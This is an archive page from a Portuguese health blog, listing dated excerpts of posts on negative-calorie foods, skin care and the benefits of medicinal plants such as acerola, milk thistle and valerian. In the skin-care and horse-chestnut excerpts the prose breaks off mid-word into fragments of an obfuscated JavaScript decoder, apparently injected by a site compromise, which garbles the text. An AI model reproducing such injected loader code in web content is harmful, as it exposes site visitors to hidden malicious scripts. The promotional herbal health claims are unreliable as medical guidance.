Mai 10, 2018 | perder peso, Saúde e bem estar
Alimentos com calorias negativas- o que são? O assunto de hoje interessa a muitas pessoas: os alimentos que têm calorias negativas. Teoricamente, os alimentos com calorias negativas são alimentos que necessitam de mais energia para gastar na digestão do que a que eles...
Jan 28, 2018 | Equilíbrio, Estilo e beleza, Saúde e bem estar
Saúde da pele – Não vá dormir sem limpar e hidratar a pele A minha vida é uma correria. Mas uma correria saudável, em que vou acelerfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...
Out 1, 2017 | Saúde e bem estar
Loção Hidratante pH5 – O melhor cuidado pós-sol O sol, praia e a água do mar dão-nos algumas das melhores sensações do mundo. Aposto que sabe do que eu estou a falar! É tão bom sentirmos o sol a beijar-nos a pele e depois sairmos calmamente da toalha, caminharmos em...
Set 28, 2017 | Saúde e bem estar
10 Benefícios da acerola para a nossa saúde Hoje venho falar-lhe de um fruto tropical de sabor ácido e ao mesmo tempo adocicado de cor vermelha. É muito rico em vitamina C, antioxidantes e minerais. Já o conhece? Saiba que a acerola é originária da América de Sul...
Set 27, 2017 | Saúde e bem estar
Dicas saudáveis – 8 Benefícios do cardo mariano para a saúde Hoje venho falar-lhe de uma planta medicinal usada desde há muitos séculos. Há registos que indicam que o cardo mariano é usado para proteger o fígado, desde o tempo dos romanos. A verdade é que o...
Set 21, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da unha de gato Bem- vindo às minhas dicas saudáveis. Hoje vou falar-lhe da unha de gato. É um nome engraçado, não é? Esta denominação vem dos seus ramos que têm a forma de uma unha de gato. E os benefícios são fantásticos, já...
Set 19, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da castanha da Índia O castanheiro da Índia é uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Set 14, 2017 | Saúde e bem estar
8 Benefícios da Cáscara Sagrada para a nossa saúde Já conhece a Cáscara Sagrada? É uma planta medicinal bastante eficaz no tratamento de problemas de prisão de ventre, já que possui propriedades laxantes. Saiba também que esta erva ajuda a combater a retenção de...
Set 12, 2017 | Saúde e bem estar
8 Benefícios do chá de cavalinha para o nosso organismo A cavalinha é uma planta medicinal conhecida por, entre outras utilidades, emagrecer, já que ajuda a desinchar e queimar gorduras. Das suas propriedades, destacam-se as funções adstringentes, diurética,...
Set 7, 2017 | Saúde e bem estar
Dicas saudáveis – benefícios da valeriana De certeza que já ouviu na falar na valeriana, mas será que sabe o que é? A valeriana é uma planta medicinal, que é usada desde há muitos séculos como acalmar e para ajudar a dormir. Esta planta de flores brancas e...
